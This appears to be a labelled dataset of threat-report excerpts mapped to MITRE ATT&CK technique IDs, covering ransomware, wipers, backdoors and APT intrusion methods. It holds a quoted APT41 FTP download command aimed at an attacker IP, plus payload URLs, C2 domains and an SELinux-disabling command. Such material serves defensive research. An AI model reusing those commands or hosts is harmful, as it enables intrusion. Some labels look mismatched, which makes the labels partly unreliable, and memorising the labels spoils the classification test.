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Before proceeding to file encryption operations, the ransomware force stops (“kills”) processes listed by process name in a hard-coded list within the encoded strings of the malware. A full list with assessed process function or relationship is provided in Appendix A of this report. While some of the referenced processes appear to relate to security or management software (e.g. Qihoo 360 Safeguard and Microsoft System Center), the majority of the listed processes concern databases (e.g. IBM Tivoli), or ICS-related processes | ['T1562.001'] |
The WannaCry malware consists of two distinct components, one that provides ransomware functionality and a component used for propagation, which contains functionality to enable SMB exploitation capabilities | ['T1210'] |
One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. In this sample, the threat actors' C2 server was the domain msdn[.]cloud | ['T1573.001'] |
In order to exfiltrate data, the plugin uses the function “post” in the HTTPClient class. Post” gives the plugin the ability to upload content and exfiltrate data to the remote C2 whose domain is stored in the registry | ['T1041'] |
The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed. This is an undocumented behavior in Microsoft Windows | ['T1559.002'] |
Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Unleash the main payload: The msrun.bat script is responsible for unleashing the Wiper. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00 | ['T1070.004'] |
Trickbot is installed as a scheduled task, using names like “WinDotNet,” “GoogleTask,” or “Sysnetsf” to masquerade as legitimate-appearing processes. These point to various copies of TrickBot installed in the system, usually within the user profile under %USER_DIR%\AppData\Roaming\ or a subdirectory. The subdirectories also use similarly misleading names like “WinDefrag” or “NetSocket” to appear innocuous. TrickBot may also be installed as a service with names like “ControlServiceA” that points to a copy in the system drive root | ['T1543.003', 'T1036.004'] |
1) Establish persistence via the Startup folder or theRun registry key (some variants). 2) Inject itself to another process such as rundll32.exe and dllhost.exe (some variants). 3) Decrypt two blobs: Import Table and the loader configuration | ['T1547.001', 'T1055.001'] |
Aside from stealing credentials from applications, it also steals the following information from several popular web browsers such as Google Chrome, Mozilla Firefox, Internet Explorer, and Microsoft Edge | ['T1555.003'] |
The adversary also used the commodity Cobalt Strike framework and Plink tunneling tool in many of these campaigns | ['T1558.003'] |
The Lizar server application, meanwhile, is written using the .NET framework and runs on a remote Linux host, researchers said. It supports encrypted communications with the bot client | ['T1573'] |
The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com | ['T1059.005'] |
Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4 | ['T1082', 'T1546.012'] |
It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process | ['T1055.012'] |
Each of the Silent Librarian lures ends with a very realistic looking closing signature containing contact information for the target library. This information is collected through open source research conducted by the threat actors. In some cases, all of the contact information can be found together on one webpage; however, some of the information is in different locations, indicating the actors are likely performing manual reconnaissance to gather the information | ['T1594'] |
The primary objective of the HermeticWiper is to destroy the master boot record (MBR) of a system, shredding data and rendering the system unusable | ['T1561.002'] |
Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials | ['T1552.005'] |
FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. The distribution servers were used to stage the LockerGoga ransomware, additional utilities, and deployment scripts to automate installation of the ransomware. Mandiant identified a utility script named kill.bat that was run on systems in the environment. This script contained a series of anti-forensics and other commands intended to disable antivirus and destabilize the operating system. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. These BAT files contained psexec commands to connect to remote systems and deploy kill.bat along with LockerGoga. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc | ['T1562.001'] |
Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency | ['T1566.001'] |
Business info at outsidersecurity.nl . Introducing ROADtools - The Azure AD exploration framework . 15 minute read . Over the past 1.5 years I’ve been doing quite a lot of exploration into Azure AD and how it works under the hood. So I set myself a few goals: - Provide tooling for both Red teams and Blue teams to explore all Azure AD data in an accessible way. Use asynchronous HTTP calls in Python to dump all available information in the Azure AD graph to this database. Where to get the data . Since Azure AD is a cloud service, there isn’t a way to reverse engineer how it works, or a central repository where all the data is stored that you can access. While researching Azure and looking through the requests in the Azure Portal, at some point I noticed that the portal was calling a different version of the Azure AD Graph, the 1.61-internal version. This internal version of the Azure AD graph exposes much more data than any of the official API’s that are offered by Microsoft. To create the object structure, ROADrecon uses the OData metadata definition that the Azure AD graph exposes. ROADrecon will by default pretend to be the Azure AD PowerShell module and will thus inherit its permissions to access the internal version of the Azure AD graph. Gathering all the data . The second step is data gathering, which the roadrecon gather command does. That being said, there is a setting in the deprecated MSOnline PowerShell module which prevents enumeration using the Azure AD graph, which is documented here | ['T1119'] |
After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself | ['T1036.005'] |
The launcher then configures several Registry values, including SecurityPasswordAES, that control how the remote access tool will work | ['T1547.001', 'T1550.002'] |
DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads | ['T1083'] |
The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case | ['T1053.005'] |
Two PDF files (***_SPE_LEOS and ***_HPC_SE) with aerospace & defense industry themed images, created via the Microsoft Print to PDF service, were submitted along with ***_ECS_EPM.docx. The naming convention of these PDF files was very similar to the malicious documents used. The name includes abbreviations for positions at the defense contractor much like the malicious documents. The Microsoft Print to PDF service enables content from a Microsoft Word document be printed to PDF directly. The PDFs were discovered in an archive file indicating that LinkedIn may have been a possible vector utilized by the adversaries to target victims. This is a similar vector as to what has been observed in a campaign reported by industry[7], however as mentioned earlier the research covered in this blog is part of a different activity set | ['T1566.001'] |
The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data of interest. This could be a webserver to carve data from memory, or a fileserver to copy IP, as we have both observed | ['T1041'] |
The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines | ['T1027'] |
If the file /usr/sbin/setenforce exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the /etc/selinux/config file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains | ['T1518.001'] |
One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software | ['T1036.005'] |
From a code perspective, little has changed between Ryuk binaries compiled in March and those compiled in September. The functionality has remained overall static since introducing features for targeting hosts on a local area network (LAN). The most notable change to Ryuk is the introduction of code obfuscation. The code obfuscations appear to be designed to slow down the reverse engineering process by using anti-disassembly and code transformation obfuscation techniques | ['T1027'] |
Since 2020, Proofpoint researchers have observed TA416, an actor assessed to be aligned with the Chinese state, utilizing web bugs to profile their targets. Commonly referred to as tracking pixels, web bugs embed a hyperlinked non-visible object within the body of an email that, when enabled, will attempt to retrieve a benign image file from an actor-controlled server. This provides a “sign of life” to threat actors and indicates that the targeted account is valid with the user being inclined to open emails that utilize social engineering content. TA416 has been using web bugs to target victims prior to delivering malicious URLs that have installed a variety of PlugX malware payloads | ['T1608'] |
Cybercriminals will often use LNK files attached in an email to launch an attack on unsuspecting victims. And we recently noticed another campaign using this technique | ['T1204.002'] |
After this information is obtained, the attacker can generate and send a specially crafted HTTP POST request to the Exchange server with an XML SOAP payload to the Exchange Web Services (EWS) API endpoint | ['T1590'] |
A threat actor known as Silent Librarian/TA407/COBALT DICKENS has been actively targeting universities via spear phishing campaigns since schools and universities went back | ['T1608.005'] |
Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable | ['T1561.002'] |
Checking the DLLs related to iDefense SysAnalyzer, Microsoft Debugging DLL and Sandboxies - Calling IsDebuggerPresent and GetTickCount to identify a debugger - Checking VMWare related file | ['T1497.001'] |
The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command. The type of data this implant gathers from the victim’s system | ['T1083', 'T1048.003'] |
CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has been ranked as a top miner in the Maruru mining pool (koto-pool.work). The cryptocurrency mined is called Koto, which is a Zcash-based anonymous cryptocurrency. The has addresses in Figure 8 use the “Yescrypt” algorithm which is good for CPU miners but not ideal for GPU miners. This is ideal for malware as the victim hosts are not guaranteed to have discrete GPUs installed in them but are guaranteed to have a CPU available. We believe the malware authors may have intentionally used this filename to create confusion since the miner is actually mining the Koto cryptocurrency | ['T1543.001'] |
For every hard-coded TCP port used to communicate with the C&C servers, the malware creates a rule in Netfilter — the Linux kernel firewall — using the iptc_insert_entry() function from libiptc1 to allow output communication to it | ['T1562.004'] |
38, the credentials are retrieved from the logins.json file and the browser history is retrieved from the places.sqlite database | ['T1217'] |
The operators simply deploy their first-stage .php script in them, which will check the connection and get the actual C2 server domain name using an HTTP GET request | ['T1071.001'] |
1) Copy itself to the %APPDATA%\Microsoft folder, add this file path in the registry ‘Run’ key under the value ‘BackUp Mgr’ and then execute the loader from the copied location. 2) If the loader cannot access the %APPDATA% location or if the loader is running from this location already, then it adds the current file path in the ‘Run’ registry key under the value ‘BackUp Mgr’ and executes the loader again from this location | ['T1547.001'] |
As we mentioned, the adversary used a technique called template injection. A .docx file is a zip file containing multiple parts. Using the template injection technique, the adversary puts a link towards the template file in one of the .XML files, for example the link is in settings.xml.rels while the external oleobject load is in document.xml.rels. The link will load a template file (DOTM) from a remote server. Some of these template files are renamed as JPEG files when hosted on a remote server to avoid any suspicion and bypass detection. These template files contain Visual Basic macro code, that will load a DLL implant onto the victim’s system | ['T1036'] |
We suspect that the malware uses this extension to grab the victim’s cookies and use them from another device to ride the victim’s active session | ['T1539'] |
Last but not least, the malware creates an id, in the same way as seen in previous Zebrocy binaries. It retrieves the UserName via the GetUserNameW Windows API and prepends the volume serial number of the C:\ drive | ['T1082'] |
Should the victim use one of these portable browsers with a proxy server configured, the malware can find that in the user’s preferences and use that proxy to communicate with its C&C servers | ['T1090.002'] |
APT10 has targeted or compromised manufacturing companies in India, Japan and Northern Europe; a mining company in South America; and multiple IT service providers worldwide. Traditional and Novel Methods . This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. In addition to the spear phishes, FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers. Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer. In addition, web traffic between a service provider’s customer and a service provider is likely to be viewed as benign by network defenders at the customer, allowing the attacker to exfiltrate data stealthily. A notable instance of this observed by FireEye involved a SOGU backdoor that was set to communicate with its C2 through a server belonging to the victim’s service provider. The actor then tested connectivity to an IP managed by the victim’s service provider. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor. This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network. Their abuse of access to service provider networks demonstrates that peripheral organizations continue to be of interest to a malicious actor – especially those seeking alternative angles of attack | ['T1199'] |
Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: "Disabled: Specifies that the service should not be started | ['T1489'] |
In another update, the P8RAT sample from August 2020 looks for two process names (“VBoxService.exe” and “vmtoolsd.exe”) on the victim’s system, to detect VMware or VirtualBox environments at the beginning of its main malicious function | ['T1497.001'] |
While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments with embedded macros that download Emotet. This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent from is already blocklisted on a spam list | ['T1059.005'] |
PlugX executes DLL hijacking with benign applications such as ESET antivirus, Adobe Update etc. Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB | ['T1059.003'] |
In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of large restaurant chains, hospitality, and financial service organizations. As with previous campaigns, and as highlighted in our annual M-Trends 2017 report, FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process | ['T1566.001'] |
The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module | ['T1140'] |
Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment | ['T1016'] |
Curl is used to send the AWS credentials to TeamTNT’s server, which responds with the message “THX | ['T1071.001'] |
The Helminth executable is able to communicate with its C2 server via HTTP and via DNS queries in very similar ways to the Helminth script variant. In fact, the DNS beacons follow the same structure and sequence as the script variant of Helminth discussed in the previous section | ['T1573.001'] |
All this information was then sent to one of the following domains: G1 also had the ability to execute commands remotely on the infected host machine at the author's will | ['T1059.003'] |
NoComm – No command, which causes the script to keep sending POST requests. Base64 string – A module to execute. The module is encrypted with a simple substitution cipher and encoded in base64 | ['T1573.001'] |
Those payloads consist of a legitimate and signed Microsoft executable used as a DLL search-order hijacking host and a malicious DLL loaded by that executable. The malicious DLL is a ShadowPad loader | ['T1574.001'] |
Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor | ['T1071.002'] |
Given their capability and sophistication, it is unlikely that IRON RITUAL's intrusions will leave sufficient artifacts to allow researchers to associate their activities with previous or future Russian cyber espionage operations. The group has used malware including the SUNBURST (also known as Solorigate) backdoor and in-memory Cobalt Strike delivered using the TEARDROP and RAINDROP loaders. CTU researchers assess with high confidence that IRON RITUAL's intent is long term, covert access to networks of interest for the purposes of espionage and data theft.ToolsTaegis™ XDR Adversary Software Coverage Tool | ['T1550'] |
Let’s look at an example. During our investigation of an infection at a computer game company, we found that malware had been created for a particular service on the company’s server. The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in the process code where it could conceal call commands for its function interceptors. Using these function interceptors, the malicious programs modified process data which was processed in those two places, and returned control back. Thus, the attackers change the normal execution of the server processes. Unfortunately, the company was not able to share its targeted application with us, and we cannot say exactly how this malicious interference affected gaming processes | ['T1057'] |
1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request. and only continues if the file exists. 2) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. The content of both files is shown in the appendix section of this report. and only continues if the file exists | ['T1564.001'] |
The adversary uses Cobalt Strike as framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. The DNS-responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command & control protocol, we were able to reconstruct more than two years of adversary activity | ['T1071.004'] |
The TrickBot module used for credential harvesting is pwgrab64. As with all modules launched by the TrickBot core, pwgrab64 is installed into a subfolder, usually named either “modules” or “data,” and modified the following registry value | ['T1112'] |
This command will attempt to download and execute a remote file via the Microsoft Windows built-in certutil utility. More information on this technique and the CARROTBAT malware family may be found within the Appendix | ['T1105'] |
REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. Finally, REvil terminates execution | ['T1071.001'] |
Anchor_DNS was able to stay under-the-radar by using specific execution flags. If these command-line arguments are not supplied, the Anchor_DNS terminates | ['T1480'] |
The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal | ['T1102.002'] |
The dns.ps1 script is also responsible for communicating with the C2 server, but it uses DNS queries to send data to the server. The DNS queries sent by this script are queries to subdomains on the same domain as the C2 server, which contains system information or the contents of files from the system. The subdomain of the DNS request that acts as the initial C2 beacon has the following structure | ['T1012'] |
Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140, which is registered to CNIIHM. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion | ['T1059.001'] |
On the first contact, it will send an identification of the victim based on the hard disk volume serial number. Talos didn't identify any kind of anti-sandboxing mechanisms on it, either | ['T1082'] |
When checking network connection with the “netstat” command, both cases use the “-naop” option in conjunction with the “tcp“ - Filtering the result, both cases use the “findstr” command instead of “find | ['T1049'] |
This module was delivered, like many other tools, in a 7z self-extracting archive. Inside, there was a password-protected RAR archive containing a few files | ['T1027'] |
For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP | ['T1071.001', 'T1041', 'T1071', 'T1132'] |
FIN5, which earlier this year was profiled by researchers at Trend Micro and has been in action since at least 2008, uses real credentials from the victim organization's virtual private network, Remote Desktop Protocol, Citrix, or VNC. Vengerik says the attackers got those credentials via third parties associated with the victims' POS systems | ['T1078', 'T1133'] |
The first action performed by the crypter code is to check some specific registry key. If the key is not detected, the crypter will enter an infinite loop or exit, thus it is used as an anti-analysis technique | ['T1012', 'T1497.001'] |
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April. The worm specifically scans for the existence of the DoublePulsar backdoor on compromised systems. If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit. After the first thread determines the local network subnet, the SMB worm scans local addresses beginning at the start of the netblock and increasing by one to the end of the netblock. The second thread scans randomly chosen external IP addresses | ['T1018'] |
Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive | ['T1053.005', 'T1547.001'] |
The actor has used this method on its 2019 campaign as well. This UAC bypass starts by executing wusa.exe using ShellExecuteExw and gets its access token using NtOpenProcessToken. Then the access token of wusa.exe is duplicated using NtDuplicatetoken. The DesiredAccess parameter of this function specifies the requested access right for the new token. In this case the actor passed TOKEN_ALL_ACCESS as DesiredAccess value which indicates that the new token has the combination of all access rights of this current token. The duplicated token is then passed to ImpersonateLoggedOnUser and then a cmd instance is spawned using CreateProcessWithLogomW. At the end the duplicated token is assigned to the created thread using NtSetINformationThread to make it elevated | ['T1134.002'] |
The main infection vector for Poseidon is the use of spear-phishing emails including RTF/DOC files, usually with a human resources lure. Poseidon’s toolkit displays an awareness of many antivirus providers over the years, attempting to attack or spoof these processes as a means of self-defense for their infections | ['T1036.005'] |
On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. This repeat attack may suggest that the adversaries have lost their foothold in the targeted organization, or that it may be considered a high value target. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time | ['T1204.001'] |
PlugX — A remote access tool notable for communications that may contain HTTP headers starting with "X-" (e.g. X-Session: 0"). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. TG-3390 has used additional web shells containing similarly formatted passwords | ['T1071.001'] |
1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs | ['T1204.001'] |
After the credit cards are first scanned in real time, the personal account number (PAN) and accompanying data sits in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. During that time, the point-of-sale malware opens up the process memory searching for elements related to credit card information | ['T1005'] |
Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity | ['T1053.002', 'T1053.005'] |
The kernel driver is a commercial product that the attackers are abusing called RawDisk by EldoS Corporation, which provides direct access to files, disks and partitions. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used in the Shamoon attack in 2012. With the kernel driver installed, the wiper can begin writing to protected system locations, such as the master boot record (MBR) and partition tables of storage volumes. If the wiper is configured with the "E" setting, the wiper will encrypt the contents of the file using a random value as a key and the RC4 algorithm. If configured with the "R" setting, the wiper will overwrite files with the random values that would be used as a key in "E | ['T1561.002', 'T1485', 'T1485'] |
The new domain names follow the same pattern as previously reported, except that they swap the top level domain name for another. We know that the threat actor has used the “.me” TLD in their past campaigns against some academic intuitions and this is still the case, along side “.tk” and “.cf | ['T1583.001'] |
The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443. After connecting to its C2 server, RCSession checks in with an encrypted beacon and then awaits instruction. The ORat tool, which appears to be used less frequently by the group, communicates over TCP port 80 using a raw socket protocol (not HTTP | ['T1573'] |
Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway | ['T1016'] |
The two main changes are the obfuscation and the network protocol to communicate to the C2 server. The developers used two different obfuscation algorithms: one for the C2 encoding and one for the data. The C2 encoding is a simple XOR (as in 2012): The C2 encoding communication is also different. As the data are now sent with the GET method, the data must be in ASCII. That's they add base64 encoding in order to get supported characters in the HTTP query. For the first time, the developer switched from POST requests to GET requests: The exfiltrated data is appended to the URL. Here is the pattern: hxxp://C2_domain/MalwareIDVictimIPThirdIDExfiltratedDataBase64 SHA256:37d1bd82527d50df3246f12b931c69c2b9e978b593a64e89d16bfe0eb54645b0 C2 URL:hxxp://www[.]amanser951[.]otzo[.]com/uiho0.0.0.0edrftg.txt | ['T1041'] |
The malware sets information like the C2 server, ID, the downloaded payload, and the decoded project.aspx in a registry key under “HKCU\Software\ApplicationContainer\Appsw64”. These keys will be used in the second stage | ['T1112'] |
The Helminth executable variant is able to run batch scripts provided by the C2 server, which is very similar to the script version of this Trojan. The executable variant has one additional capability that is not present in the script version, which involves the ability to log keystrokes via a supplemental keylogger module | ['T1059.003', 'T1115', 'T1056.001'] |
The ransom note instructs the victim to use a unique URL to decrypt their files. Victims must provide the key and extension name included in the ransom note. The key specified in the ransom note is the Base64-encoded representation of the encrypted stat data stored in the registry | ['T1486'] |
1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Initially, they will hide the main spreadsheet that requested the user to “enable editing”, then unhide a secondary spreadsheet that contains the decoy, to avoid raising suspicion. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. The VBS script will also add two important registry keys for persistence. The persistence technique observed in all intrusions uses COM hijacking. In this technique, the threat actor is able to add a Class ID in the current user registry hive (HKCU) referencing the malicious VBS script written previously to %ProgramData%\winrm.vbs. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt | ['T1112'] |
All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “<Module>.\u200E” function | ['T1027'] |
They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes | ['T1005'] |
Volexity's investigation into this incident determined the attacker had accessed the Duo integration secret key (akey) from the OWA server. This key then allowed the attacker to derive a pre-computed value to be set in the duo-sid cookie. After successful password authentication, the server evaluated the duo-sid cookie and determined it to be valid. This allowed the attacker with knowledge of a user account and password to then completely bypass the MFA set on the account. It should be noted this is not a vulnerability with the MFA provider and underscores the need to ensure that all secrets associated with key integrations, such as those with an MFA provider, should be changed following a breach. Further, it is important that not only are passwords changed after a breach, but that passwords are not set to something similar to the previous password (e.g | ['T1550.004', 'T1606.001'] |
